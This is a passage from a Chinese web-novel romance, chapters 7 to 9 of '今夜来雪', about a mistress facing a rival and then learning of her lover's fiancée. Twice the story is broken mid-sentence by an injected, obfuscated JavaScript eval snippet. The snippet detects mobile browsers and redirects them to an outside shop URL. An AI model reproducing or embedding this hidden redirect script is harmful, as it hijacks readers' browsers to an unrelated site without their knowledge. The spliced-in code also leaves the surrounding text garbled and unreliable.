《今夜来雪》 7. 第七章 那条路是向着胡同里的,人不是很多。 绾静立在原地没动,平静看她张牙舞爪。 岑梦怒道:“你不就是认识他的时间比我长一点?你真把自己当盘菜?他心里压根就没你,你早都要被丢了的,怎么现在又翻起浪来?” 绾静皱紧眉头。 她没有想过岑梦说话会这么难听,岑梦二十出头嫩生生,沉不住气她理解,甚至上门挑衅,炫耀,绾静也预料得到。 只是岑梦出口太脏。 她不明白关庭谦究竟喜欢她什么,才能在饭局上一眼相中,破例带她回家。 难道就因为她年纪嫩,模样却妖冶成熟妩媚,有一种别样的反差? 绾静不清楚。 男人的心思是最难猜的,关庭谦更甚,他挺忌讳人家知道他喜好的,容易成把柄,也容易遭人惦记。 何况他们在一起那会他毕竟在宁夏,在历练,他接纳她,或许也不过是图方便。绾静上大学时有个室友,和她不太对付,偶然知道她的事后,轻蔑地说她是千里送枕头,不然哪有男人看得上。 可能他回北京后,有了其他更合胃口的选择,不愿再忍耐,才会一反常态。 绾静平视她,身上裹了件过膝的大衣,她怕冷,寒风里瑟缩了怀。一低眼,眼睫温顺地垂下来,遮住大半的光。 她不是岑梦。 绾静是温和的长相,白净,柔顺,不说话时身上也总有一种安定温柔感。 她也不想争执,本就是没意义的事,更何况万一被拍到,传到关庭谦对头手里,女人这种绯闻,多少是把柄,他栽了,她和岑梦都得完。 这个道理,新欢可以不懂,可以任性。 但是她得懂。 绾静轻声说:“岑小姐高估我了,我并没有把他绑在身边,也没有你想象中,那样使尽浑身手段,只为独占。他是个有手有脚的人,他愿意去哪,爱谁,在谁身边,都不是你我能控制的事情。” 绾静强调了你我两个字。 她顿了半秒钟:“岑小姐如果真的非常想念,从前怎样留他,现在依然可以故技重施,我从不阻拦。” 岑梦咬唇,像是被她轻声慢语的几句话恶心到,也震慑到了。然而肚子里始终憋着团火,越烧越烈,越烧越旺。 她思索两秒钟,还是忍无可忍反唇相讥:“你在这跟我拿什么乔呢,你是大房吗,就摆出一副大奶奶的款儿了,哟,您大度,您吃干抹尽了嘴巴一抹撒,就来给我立规矩?您是忘了前阵子您那可怜样儿了,都是没名没分的,谁比谁高贵呀?您这几年把人霸占够了,春风得意了,现在连个味儿都不舍得匀给我这新来的,您可不能够吧?” 岑梦横眉揪掉大衣上的头发,她那件大衣特招摇,特华丽,闪亮亮的大牌印,一看就是秋场新款。 她本就冒火,越恼怒去揪,越是掸不掉。 岑梦气急败坏收紧长指甲,泄愤似的紧攥了下,抬头怒视:“我懒得和你掰扯,冯绾静我告诉你,我是想和你和平共处的,本来么,都当不成他老婆,斗个你死我活有什么意思?但你实在欺人太甚。” 她冷笑:“你说得对,那腿长男人身上,他还能就窝在一个地儿不走了不成?冯姐姐,既然你不想给我好脸,那从今往后我们各凭本事好了。你不用太得意,我就不信他带我在身边那么多回,还能突然又回头看上你了,风光一时,落魄一时,他婚期将至,你觉得他老婆最容不下的是我还是你?” 她好整以暇,整理衣裳,笑容里有丝极精致的冷意:“别到时候什么都捞不到,反惹一身骚,那多对不起今天你站这儿,对我好一通的苦口婆心。” 岑梦看了眼绾静,踩着细高跟转身就走,很快就留绾静一个人站在了胡同里。 绾静回过头,胡同里停着熟悉的车,司机已经下来了,看表情,估计刚才是听了全程。 司机微愣,揣摩她意思:“冯小姐,这……要不告诉先生?” 绾静摇摇头:“别和他说。” “可是……” “今天的事就当没发生过。” 绾静扶住额角,顿了顿又说:“女人拌嘴的事,有什么说道,你就当没听见,行吗?” 司机张了张嘴,最后艰难答应:“行。” 绾静坐上车。 秋天北京落叶萧瑟,天黑得也快,天幕一分分暗下来,站在顶下,头顶一轮凄清苍冷的月亮,会显得人无比孤单。 她开了线窗,吹着风。 说真的,她曾经羡慕过岑梦,也担心关庭谦身边会不会出现别的女人。 并非太把自己当回事,也明白他最后总是要结婚的,只是在他结婚之前,她想,她难免有奢望,妄想他身边,能不能只有她一个人。 然而岑梦那一番话,就像是当头一棒,把她的自欺欺人敲粉碎了。 绾静终于发现,原来很多人,很多事,都是她决定不了,也左右不了的。 一直以来她都不是有话语权的那一个,北京太大,一块砖,一方瓦,说不准都比她更有价值,她忙忙碌碌地行走,生活,到最后,其实哪个人物她也得罪不起。 她只依赖关庭谦的庇护。 他肯呵护,就没有风雨敢侵,他丢开,她就是零落的泥,明晃晃的靶。 岑梦说得对。 她跟过关庭谦的,别说他对头,他未来老婆第一个就不会放过她。 * 那件事之后,岑梦像是真的和她较上了劲,使出浑身解数,想尽办法,也要把关庭谦留下。 年下酒局多起来,岑梦能用的借口也跟着多了。 关庭谦的态度倒是摸不清,只是他有什么变化,或和谁通电话,绾静是能察觉到的。 她和岑梦的差别就在这。她如果是柔韧的草茎,微小和顺,会依赖人,但风吹雨打就含胸低头,那岑梦就是蛇,美艳勇猛,处处死命纠缠得紧。 起初还不算很越界,可后来关庭谦在家,岑梦的电话也敢打过来。 关庭谦接电话。 夜半,外面隐隐的风声,他裸身披了件睡衣,赤脚靠在栏杆旁。屋子里没开灯,只有一抹窗外幽蓝的光罩在他身上,他表情挺淡的,垂头,也看不出心里情绪。 那边不知道在说什么,一定是又哭又叫了,因为绾静躲在门框后面,也能听到一点尖锐的泣音。 到这份上,关庭谦竟然脸上都没有一丝怒容。 他表情始终平静,间或就是嗯两声,说不出意味,那边闹得不肯消停,关庭谦淡淡说了声:“下回吧,再说。” 就把电话掐了。 他靠在栏杆没有动,仿佛放空,视线看着窗外,面对天幕毫无表情。 不久,他才抬步往卧室里走。 关庭谦扯掉睡衣,随意丢在椅背上,掀开被子上床。 绾静已经装作睡下了,她阖着眼,身侧床铺塌陷,只能感觉到他身体靠近,呼吸洒落在耳边。他并没有睡,支着额角撑在枕上,安安静静地打量她。 过了约莫半分钟,绾静觉得他指尖搭在了脸颊,轻轻拨开了她发。 隔天绾静看到他秘书,就听说他这两天有事,晚上不过来了,关庭谦要去河北一个小城出差。 绾静想她大概明白他是带谁去的。 她没闹,也没多问。 日子还是和从前一样往前过。 可她心里到底难受。 不管岑梦怎么折腾,总归看见了成效,岑梦挺得意的,这几天很是消停了阵,也没再找绾静麻烦。 直到十二月开头,于惠约了绾静做洗浴,绾静到了地方,司机给她开门下车,正巧碰见一辆白车开出来。 车直奔在绾静开了一半的门前,压着车门停了。 司机被挤到一边,绾静开不了门,将门关上又显得软弱,进退两难。 岑梦更加光彩了,新做了头发,乌发红唇,脸嫩得像剥了壳的鸡蛋。她看着绾静不无戏谑:“冯姐姐,又看见你了。” 绾静不发话。 岑梦春风得意,估计也没想听绾静回答,她就是撞上了来显摆的,点卯似的。 她气焰嚣张,比从前有过之无不及,挡着道,嗓音泼辣,指桑骂槐,一句比一句狠,给旁边司机脸都说绿了。 那司机是关庭谦很早就安排给绾静的,从前绾静去宁夏看他,在北京的行程都是司机接送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883031|191983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 司机不可能放着岑梦无礼,但岑梦好歹也是关庭谦身边的人,他不好得罪,急得上火。 绾静倒是由着她说。 岑梦骂够了,说爽了,得意得不知道自己姓什么了,这口气才终于消了三分。 她转身,从副驾上拿过个袋子,狠狠朝绾静这边一扔,扔进了车窗里。 “给冯姐姐拿去用。”岑梦妩媚笑笑,“我做完美容出来,得了点赠品,都是些不值钱的东西,不过我想冯姐姐应该用得上。” “毕竟变天了,男人身边也要换人了,冯姐姐以前真是嚣张,不知道还能嚣张几天?这些牌子,以后还用得起吗?我大度,以德报怨,还是想拉拉冯姐姐,本来年纪就比我大两岁了,还是保养保养,别到最后,男人连见一面也嫌。” 那礼品袋没封口,抽绳猛地甩过来,打在了绾静身上。 从锁骨到颈侧,起初是一条极细浅白的线,过了半秒,红渗出来,变成条很淡的血痕。 岑梦笑吟吟开着车扬长而去。 司机看到了,都吓疯了,赶紧把门打开慌张道:“这,这怎么还划出个口子?要不咱们去医院吧?” 绾静没吭声。 她其实没觉得疼,拿出随身镜一照,伤口不大,也不狰狞,就是隐隐有血要渗出来的样子,不过她等了半分钟,连血珠都没冒一个。 她小声说没事:“别麻烦,一点事闹到医院不好。” 司机恳求:“可是这个口子,要是被先生看到,那我……” “没事,他这两天不回来,不会注意的。” 绾静捂着伤口下车,简单用湿纸巾擦了擦,散开抓夹,用碎发挡了。 她那天洗浴也没玩得很开心。 洗浴中心灯光不好,于惠只能看出来她有心事,那道线一样的口子,连她也没能发现。 只是回家换鞋的时候,绾静愣在了那里。 书房半掩着门,关庭谦竟然回来了。 他在和秘书讲话,说的是公事。 关庭谦整个下半年都在辗转奔忙,有几个公务特别棘手。 好几次三更半夜被电话叫起来,他叮嘱她别出卧室门,因为他会把下属喊来家,就在书房开会。 他甚至家居服都来不及换,就身上披着的外套是制服。他下属站他面前乌泱泱的,也都是制服,每个人脸上表情都严肃。 他累,疲惫,在宁夏那几年看着没回京风光,可自由,做的也是他擅长和喜欢的事,从心理上他就松泛,舒服。 回了京城,处处谨慎,步步小心,连带着绾静也小心翼翼,心知肚明不能给他惹事。在这里惹事和宁夏不一样,这里都是老虎,特难缠,抓住点缝就恨不得把他血吸干。 有时候绾静也会想,他如果一辈子心甘情愿当二代,三代,或许也不错,至少衣食无忧一辈子。 但他没那个命。 有些责任是出生就得担。 况且,如果他真的选择这条路,她想她也不会如此动情,死心塌地爱了。 绾静看了眼书房灯光,安安静静转身,回了房间。 她洗了澡,躺在被子里等他。 关庭谦忙到挺晚的,他进屋时,灯都暗了,就开着绾静特意留的小灯。 这方面她真的挺注意的,有时候关庭谦忙起来没日没夜,回房思绪也抽不开来,有次没注意,喝醉了回来,还绊了一跤。 那次摔得不轻,膝盖青了好几天,绾静心疼得掉泪。 后来她就注意了,不管多晚,都亮着小灯等他。 关庭谦洗了个澡,很快掀开被子要上床,他去摸绾静,习惯性把她抱进怀里,绾静也顺从攀着他臂膀。 只是他下巴抵进来时,突然抬了下眼:“等等。” 绾静手一顿:“嗯?” 关庭谦沉默。 房间灯光昏暗,他的目光沉沉投射过来,无声无息,却又透着一丝琢磨不透的情绪。那道目光先是落在她脸上,转而慢慢下滑,一寸寸扫过鼻梁,嘴唇,最后停在了脖颈,停住了,不动了。 “怎么回事。” 他皱眉,语气里带上几分狠意:“怎么回事!” 8.第八章 绾静被吓了一跳,微微转脸看向他。 关庭谦拧亮灯,眼睛仍然冰冷,他在等,他很难得用这种勒令语气,可只要他用了,几乎就是不容置疑。 绾静眼睫轻轻打颤,没动。 她抿唇不开口,关庭谦伸手,攥住了她臂膀,他力道奇大,强掰着她身体侧面对着他。关庭谦的目光一厘厘从她身上逡巡游走,最后又重新回到最开始的那一点。 关庭谦喉结翻滚,声音低得发哑:“怎么弄的。” 绾静脸色发白,莫名觉得心慌。 他看到了那条被划伤的印,那么模糊,那么微小的一条线,连她对着镜子都难以分辨,可昏暗的灯下,他只一眼,就注意到了她身体的区别。 绾静第一反应是否认:“没有,我就是,我出门,被树枝……” 他眼睑略微抽搐,手下用力更重:“你是说你今天出门,被枯枝子划到了。” 绾静讷讷看他,微不可察点了下头。 “就是今天划到的。” 她又小幅度缩了缩脖颈。 关庭谦猛地翻身坐起来,紧接着就拨电话给秘书:“你回来,把司机也叫上来。” 绾静变了脸色。 关庭谦扔了件衣服给她,抬脚就出房间进了书房,绾静系好衣扣,也跌跌撞撞跟上去。 司机来了立在一边惶惶不安,关庭谦说:“今天是你送她的吗?” 司机说是。 “你一直跟在她身边。” “是。” “她说脖子上那伤是不小心划的,在哪划的。” 司机大气没敢出,低头报了个地址:“就是,冯小姐去洗浴的时候……” 关庭谦抬眼看绾静:“你不是说枯枝子划的吗,洗浴场子哪来的枯枝子。” 他问得又快又利,全程下来还没半分钟,平心静气,喜怒无辨,听不出一丝一毫的异样,却把人想方设法诡辩的思路硬生折断。 太稳,也太锋锐,他训诫下属用的可能就是这一套,三言两语,旁敲侧击,底下的人慌了,他却仍能不动声色稳坐高台。 绾静没当过他下属,这一次领教了。 他只拿出平时十之一二的手段气势,她就已经怕得丢盔卸甲。 关庭谦催促:“说话。你现在说,我当没有这回事。” 绾静咬唇不语。 她脑袋里搅成一片乱糟糟的浆糊。 倘若她说出口,和岑梦见面的事必然瞒不住,可不说就是在骗他,她显然心里有事,却不愿对他说,刻意欺瞒,关庭谦最恨。 他这样的人在外面步步机关算尽,绝不容许回家后还要和女人猜心。 她左右为难,她根本都没做好准备摊牌。 关庭谦定定看了她几秒:“真不说?” 绾静抿着唇细细颤抖。 他停顿,掌心扣住她脖颈,慢慢捧住她半边脸颊,大拇指轻柔抚摸:“你不说,我今天就把司机开了。这个伤,我今夜必找人问责,至于问谁的责,拿捏在你手里,你给我个说法,不管是谁,你交出个人来。” 绾静呼吸粗重,他脸廓就距离她咫尺之遥,她还能触到他说话时喷吐出的热气,她无从判断他是不是动了怒,但如果他对她产生疑心,那将是更可怕的事情。 她良久没吭声,关庭谦立刻扭头朝着司机:“你收拾东西明天走。” 他要从桌上抽出文件写辞退声明。 绾静吓坏了,猛地抬睫慌乱按住他的手:“别,我说……” 关庭谦恍若未闻,不置一词,仍然把白纸抽出来,旋出钢笔笔帽。 绾静眼眶都红了,他笔尖直直戳在纸上,墨水洇开,关庭谦沉静的视线没波澜看她:“现在愿意说吗。” 绾静憋了很久,最后匍匐在他肩上,抽噎起来。 屋子里两秒安静。 关庭谦将笔一丢,咔哒清脆响,他朝司机投去视线:“你照实说。” 司机三魂飞去七魄,早就腿软,忙不迭什么都招了:“是因为,因为岑小姐,前几天和冯小姐有点龃龉,然后今天又撞上……” 他老老实实交代清楚前因后果。 关庭谦靠在椅背里,蹙起眉,长时间陷入沉默。 他不知是在思索什么,深邃的眉骨压得很低,神情阴翳森森,教人琢磨不透情绪。 半晌,他转向绾静,视线自上而下扫她:“你知道岑梦?” 绾静如今只能:“嗯。” “什么时候知道的。” 她抿抿嘴,轻声回:“一开始。” “也不和我说?” 绾静不吭声。 关庭谦敲敲桌子:“你们两个出去。” 秘书带着司机走了,掩上门,书房只剩下两个人。 房里暖气很足,铺着厚绒地毯,即使赤脚踩上去也不会觉得冷。关庭谦单手抱着她,低头,抽出本画籍看起来。 他不再问,也不安慰,仿佛转瞬间把这件事忘了,刚才的剑拔弩张也不存在一样。 可他不言语,绾静却急了。 原本不闻不问,什么都好说,她装不知道算了,可现在事情都揭开了,他还能当没事发生,连句解释哄慰都没有。 绾静茫然一阵,陡然从心底涌上阵心酸。 她心口像被压了块重石,窒息又委屈。 说实话,到关庭谦这个位置了,确实没必要把身边女人的情绪放在心上。只是从前他对她太好了,实在是有点太纵着了,以至于他如今减退一点点关心,她就会敏感得瑟缩起来,像只幼兽似的缩在洞口,不安张望。 他怀抱滚热,她手脚却冰凉。 绾静缓着气,突然有些不想在这种环境中待下去。 可他铁掌般牢牢箍住她的腰,她无法动弹。 到后面她实在坐不住:“我想去睡觉。” 关庭谦终于抬手捋开她黑发,托着她腰,辨不清喜怒:“委屈了?” 绾静还是不开口,脸颊绷得更紧了。 他虎口卡着她下颌:“说话,委屈吗。” 绾静受不了,眼泪啪嗒掉下来。 他静静看了她几秒,忽然勾唇,展眉露出一丝笑纹。关庭谦说:“委屈什么,你要是不高兴,以后我不去找她了。” 绾静直接愣住了。 泪也停了。 他脸庞在近在咫尺的地方,目光深邃,透着股描摹不出来的炙热,似真似幻,这样的视线落在身上,她也像是被烫了一下。关庭谦屏住呼吸,坐正身体:“给我看看。” “什么……” “伤口。” 他掌心扣着绾静后颈,绾静抬头,他仔仔细细地看。 那丝极小的伤,绾静出洗浴中心时,就已经变得浅淡了,连血痕都消失,只有道若隐若现白色的印子。然而他看得认真,眸光一寸寸逡巡,最后指尖也搭在上头,轻轻抚了抚。 关庭谦说:“疼吗。” 她摇摇头。 本就不疼,如今那条伤在他掌心里,更像是被融化了,只有酥酥麻麻的痒。 “还行。”关庭谦低声说,“不会留疤,很快就愈合了。” 绾静小声跟着说:“已经愈合了,其实本来就不深。” 他没吭声,拇指又不断摸了摸,她纤细的脖颈在他掌中,像鸟随时能被折断翅膀。绾静心里发涩,突然有种说不上来的闷痛。 其实他没必要这么在乎,毕竟两个人的关系,原本就是他主导,他想要就要,想丢随时可以丢,为她,犯不上。可他偏偏轻声细语,带点哄人的意思安抚她。 绾静搂紧他脖子,抱着他喊他名字。 他嗯了声。 绾静小声说:“你为什么。”她停顿很久,才问出上次那个没有问出口的问题,“为什么喜欢她。” 她问完就缩了回去,紧紧勾着他肩膀。 这个问题越界了,她明白,可她实在是太想知道了,她想知道原因,想知道究竟别人身上有什么魅力,有什么是让他深深着迷,而她没法拥有的。 一如往常,关庭谦沉默,没回答她这个问题。他阖眼额头抵在她颈窝,很久才说:“不是你该问的。” 绾静噤了声。 关庭谦又抱着她画画,画上次没有画完的海棠。褪色了,变淡了一点点,他端详良久,蘸满墨一笔一划补色。 绾静不自在地别过脸,其实脖子上一道划痕,她也不希望他总看。她动了动想躲,关庭谦低声说:“躲什么。” 她低头:“有个疤,觉得有点丑……” “不丑。”关庭谦低头吻了吻,他是薄唇,不笑显得冷峻,可唇瓣落在皮肤上是温热的,“给你添两笔,别人看不出来。” 他提笔,笔尖落在那条疤痕一厘的地方。 他避开了疤,却把那条疤作枝蔓,一串单枝海棠就开在她锁骨至脖颈上。不比胸前大片浓艳,惹人情欲,这枝海棠孤零零,怯生生,很清丽。 这是给别人看的,就像她,然而她内里的纯情妩媚,是他一个人独享的。 绾静觉得脖子被毛笔弄得有些痒,又不敢去抓,只好转移注意力。她提上次父亲的事,小声说谢谢,说爸爸身体好了很多。 关庭谦的身份比钱好使,绾静这段时间听电话,邻居婶婶说,村里还让人来看了两次。 关庭谦也没看她,只嗯了声:“这点事不用和我说谢谢,你爸爸病情要是有反复,我让人把他接到北京。” 绾静靠在他怀里,小声说好。 书房里还有橘子,她继续给他剥,直到关庭谦结束了,凌晨,他熄了灯,抱她去房间睡觉。 * 那次之后,岑梦果然没再出现过。 关庭谦下班回家都很早,单位时间,定时定点,也不像是去找了她的样子。绾静不知道是真的没找过,还是只是做得更隐蔽了。 但后者完全没必要。 以关庭谦的身份,都是女人去找他,他基本不会找女人。往他身上扑的都处理不过来,哪里来闲心思跑这一趟。 他既然不提,绾静也当没有发生过,两个人就过小日子,也挺和和乐乐。 她得空就收拾房间。 关庭谦没往家里请保姆,绾静觉得是担心保姆嘴不牢靠,出去乱说。她在这方面倒是没要求,她本就爱干净,整理家务也细致,家里没人她也可以收拾。 不过关庭谦找了个助理,是他心腹,宁夏时候就跟在他身边。 助理每天会来简单打扫次屋子,或者送点东西,算下来绾静在家也不用干什么。 她这段时间主要忙工作的事,单位里有个带她的姐姐怀孕了,孕晚期,回家待产,事情自然就交到了绾静手上。 姐姐人很好,看她一个小姑娘,太累,还找了人帮她。 绾静看着对方隆起的肚子,心里有点羡慕。 怀孕这件事,从前她也想过,夜深人静的时候经常想,想她以后要是有了孩子,不知道是什么样子,不知道是会长得更像她,还是父亲。 可惜她曾经幻想成为孩子父亲的男人,并不能和她结婚,于是后来,她也就渐渐压下了这个念头,掐断萌芽,完全藏在了心里。 幸好她忙得见首不见尾,关庭谦也忙,她忙起来就不会总想着他。 十二月她去参加了次同学会。 绾静和同学不是很熟,她上学时候忙着念书,考试,周末唯一空闲的时间,都在往返北京宁夏,系里班里组织的聚会,她就没参加过几次。倒是毕业后关庭谦常驻北京,绾静不用来回奔波,参加聚会的次数,比往常高了一些。 只是也是偶尔。 因为她担心遇见从前的室友。 当时两个人闹到搬宿舍,绾静不想见了面难堪。不过几次下来,都没有看见她人,有关系还不错的同学说:“她好像跟了个特有钱的富二代,家里祖上做温商的,现在去浙江发展了。” 绾静哦了声。 同学想起来:“说来你对象还一直在老家?” 绾静一愣,点点头。 她给身边人一直说的是自己有对象,只是在老家,所以才要每周去看他。 当时不少人背地里幸灾乐祸,说她脑子蠢。 “那你俩感情还挺好的,都这么多年了。”同学惊讶,语调像是又有点惋惜,“你们后面怎么办?他还是在老家吗,可你在北京都安定下来了,以后结婚准备去哪里呢?” 绾静笑笑:“还不知道呢。” “可北京要买房挺难的,你对象不是北京人,也不在北京发展,难道要你买房子?” 同学坐近了点,拍绾静胳膊:“我说小静,你可别这么傻。我不是怀疑你俩感情啊,我就是说说,毕竟你也知道,要留北京挺不容易的,你条件不差,工作又好,待遇不知道比老家高出多少倍……你要是找个北京男人,或者起码找个同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892062|191983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也在北京发展的,那多好?你压力也小呀。” 同学是真心实意为她着想,绾静不想拂了她好意,只是她的事,也实在不能对她说。 绾静挤出一丝笑:“谢谢,我知道,这些问题我也想过,不过……”她弯弯唇,“我们两个已经在商量了,我想再等段时间。” 同学情绪复杂,顿了半秒,随口道:“其实你以前机会那么好,当时徐珂一心追你,他家那么有钱,我听说还有权,实权,你居然都没接受他。” 这是段挺久远的事了。 绾静听到熟悉的名字,整个人也是一愣。 “现在弄得,徐珂跟那女人在一起了,那女的以前还说是你好朋友呢,结果居然撬你墙角,真不要脸,唉我说,你们当时那个宿舍也是怪了,怎么那么多稀奇人……” * 聚会到了将近半夜,绾静准备打车回家。 风吹得她清醒不少。 这几年她很少想从前往事了,只是心里被划开过口子,哪怕愈合了,那些疤痕,疼痛,还是会存在,不是抹去了,只是淡却了。 夜风萧瑟,她站在路口很久,摁亮手机,关庭谦电话却跳了出来:“在哪?” 绾静有和他说过聚会的事,温声回:“还在聚餐的地方,刚出来。” 关庭谦说:“我来接你。” 绾静一愣:“你还没回家?” “嗯,单位有点事,拖到现在了。” 她心里一热,就说:“好啊。” 地方离他单位也近,绾静就在路边等,很快他的车开过来,绾静上了车。 关庭谦自己的车挺普通的,是辆雅阁。 刚和他在一起的时候,她还在上大学,他离开北京前办公室在东四大街那一块,具体位置不好说,他也没告诉,绾静就知道,每次约会,他会让她在那儿附近等他。 他有还不错的车,但不开,就算开出门,也是很便宜的车,譬如现在的雅阁。她之前问他,贵点的车怎么不开,他说哪个型号。 绾静想,还有型号?她就认得车标牌子。 当时他们走在东四大街拐过去的林荫道上,他轻轻牵住她的手,微笑说:“有的,有很多型号。” 当时路上正好开过去一辆黑车,车身稳重优雅,很大气。 绾静望见标志,其实不懂,但车标还挺漂亮的。 她就说:“就那个。” 关庭谦狠狠捏她脸颊,笑说:“你是不是要害我。” 绾静一下也反应过来了,她笑嘻嘻抱住他的腰,把他挤到道里面去:“不是,才没有。” 他没讲别的,眼里却流露出一丝宠溺,低头,在人潮之中,吻了吻她唇。 那是他离开北京之前,他们为数不多温情的时刻。 关庭谦看她失神的样子:“想什么呢,这么出神。” 车里很暖和,他解了外套搭在一边,绾静来了,他就伸手将她揽过去,外套盖在她腿上。 绾静窝在他怀里,小声说:“想到以前,老是在这一块等你。” 关庭谦轻笑:“你分得清哪条街?” 她有点没方向感的,开导航也能走不清,约会三次,她能让他等两次。关庭谦倒不生气,也有耐心等她,只是后来他安排了个司机接她,没有再让她自己走过了。 关庭谦抱着她,鼻尖埋进她颈间,闻到她身上味道,不高兴皱了眉:“身上什么味道?” 绾静也嗅了嗅,没闻出来什么特别的:“我今天没有喝酒……” 他不喜欢她在这种场合喝酒,大概是占有欲作祟,他不想她喝醉了,身边的人却不是他。 “有一点烟味,你有同学抽烟?” 绾静想想,聚会上好像是有人抽烟,她点点头:“嗯……但是我离他很远的。” “我不喜欢,以后不要了。”他掌心覆在她颈边,力道不容忽视,“我都不抽烟。” 绾静怔了两秒才反应过来他意思,耳根发烫:“那我以后再离远一点。” 他嗯。 车开过东黄城根,他突然敲了敲司机椅背,司机升起隔板,关庭谦看了眼绾静,绾静一愣,手指摸到他皮带,他阖眼俯身吻她。 绾静睁着眼睛。 明明灭灭的光影里,他身后街景暗淡,她被撑开的感觉却很明晰,车急刹颠簸了下,绾静瑟缩蹙眉,指甲深深抓进了他肩膀里。 * 隔天关庭谦起床的时候,绾静问他回不回来吃,他说回。 绾静就说:“那我下班买点菜。” 他嗯了声,系领带的手停住,坐到床边吻了吻她:“走了。” 然而到了晚上,绾静拎着菜回家,却没看见人。她以为关庭谦没回来,菜放在地上,俯身换鞋。 书房门一开,是关庭谦秘书急匆匆往外走。 绾静有点奇怪,站在原地:“他没回来吗?” 按理说关庭谦上班的时候,秘书都是跟着他的。 秘书下意识停住脚步,脸上表情变换,似乎不好开口。 这个场景绾静不陌生,她心里不是滋味起来:“他晚上去找岑小姐了?” 她想着估计也只能是岑梦把他绊住了。 秘书说不是。 绾静说:“那是怎么了,他家里要他回去吗?” 关庭谦下半年时候家里出了点事,是他弟弟的,听说是见了两次从前的女朋友,家里以为他想旧情复炽,大骂,也心慌,立刻给他安排了一桩婚事,只想他赶紧结婚了事。 然而关庭谦的弟弟性情无比刚直,不肯就是不肯。 关家闹了个天翻地覆,圈子里也小有耳闻。后来关庭谦回家看望了几次,甚至还陪他弟弟和相定的女生吃了个饭。 只是那顿饭也不欢而散。 好像是饭桌上,女生说了些不干不净的话,把关庭谦也得罪了,那晚关庭谦回了她这,脸色都始终不虞。 绾静看得出来他累。 关庭谦表面看上去铁血修罗,不近人情,其实对家里人都挺照顾的。哪怕是她,她在他身边六年,不是亲人,他也会把她纳入铁壁铜墙,他的庇护之下。 绾静琢磨他要是回家吃饭,她菜可以明天烧。 然而秘书的表情却更加古怪。 “不是。”秘书几秒恢复表情,冷淡道,“是先生的未婚妻。她从东三省回北京,傍晚的飞机,落地首都机场,先生要去接她。” 9.第九章 秘书说完这句,点了个头就走了。 绾静倒是在原地默默了好久。 关庭谦的未婚妻,两任,这一个她不了解,从前那个她倒是知道。 只是从前她不会觉得有什么。 她知道他有未婚妻,知道家里迟早要他结婚,但那种知道,更多只是像了解了一个信息,看懂了一个讯号。 它不深刻。 那些离她太远了,太飘忽不定了,像雨像雾又像风,仅仅是浮在半空,从没有真正来到她面前。和关庭谦在一起的每个时刻,他也从不曾和她提起过婚姻,他妻子。 以至于她一直活在一种想象里,总觉得他将来的妻子,要结婚这件事,像是谁开的一个玩笑,根本不会发生。 可是现在,她没有这样想了。 那个所谓的未婚妻,变成了一个实体,一个真的到了北京,可能马上就会进入到她生活中的人,活生生的人。 那个人和岑梦不一样,和关庭谦身边所有的女人都不一样,岑梦算什么,她又算什么,她们来又来去又去,始终不是他今后要明媒正娶,光明正大一辈子的人。 绾静换好鞋,愣了愣,最后拎起菜走到厨房,在冰箱前半蹲下来,一样一样,把菜像往常那般分类好,归置到了冰箱里。 她没有回去睡,进了那个房间,满屋子都是他的味道,她受不了。 绾静抱着膝盖,在窗台上坐了一夜。 那晚天气预报说,北京会有雨夹雪,果真落了,甚至出奇得大,绾静垂睫,看着淋湿灰色的地面,那些雨丝横斜打进窗台,浇在身上。只是淅淅沥沥落了前半夜,把她的魂魄浸泡个彻底,临近清晨,却停了下来。 助理进来收东西,看见她浑身湿透,吓了一跳:“冯小姐?” 绾静听见响动抬头,清晨阴阴薄雾的光投在眼睛上,她这才知道已经到了白天。 她嗯了声,脸颊干涸僵硬。 绾静别过头,抹了抹眼睛,嘶哑道:“怎么了。” “您这……” “我没事。”绾静轻声说,“就是有点不舒服。” 她情绪低落,助理就算瞎了眼,听声也能听得出来。 关庭谦行程他清楚,估计心里也是猜到几分,助理说不了太多,只能尴尬安慰两句:“冯小姐,您不用太伤心,现在也就是两边家里在说着,还没谈拢呢,也不是就定了,没那么快的。” 他安慰得明白,可绾静心里更明白。 没有这个未婚妻,他总会有别的未婚妻,他身边妻子那个位置,是谁都不会是她。 绾静垂睫,低声说:“他要是结婚了,我是不是就得走了。” 也不知道在问他,还是问她自己。 助理不好回答,只得说:“先生念旧情的,再说他们这种男人,身边多个女人也正常,不会有谁觉得奇怪,您还是可以住在这的。” 绾静低头一笑,不想为难他:“没事,你先去忙吧。” 助理应了声,又多看她两眼才走了。 绾静扭过头,身体僵了动不了,她只能维持着这个姿势,仍是孤零零一个人坐在露台上,心里不知道在想什么。 可那是十二月的北京,淋雨又吹风,是个人都受不住这么折腾,何况是她。 绾静从窗台下来,浑浑噩噩卷着被子躺去床上睡了一觉,等她迷糊睁眼醒来,屋子里一片漆黑,她浑身酸疼,头也昏沉胀痛,全身上下就像被虫噬车碾过了一遍,骨头里都透着冷和疼。 绾静想喊人,声音一出口,只有嘶哑。 她撑着身体半坐起来,从床头柜摸出温度计,含在嘴里等了几分钟,拿起来看。 三十八度九。 她病了。 * 这场病来势汹汹,几乎一下把人摧倒。 那时节北京流感挺重的,绾静弄不清是吹风吹的,还是可能也被传染的。 只是她没有惊动任何人。她和单位请了假,用流感请的,单位很快批了,原本压在她手上的活分派给了别人。 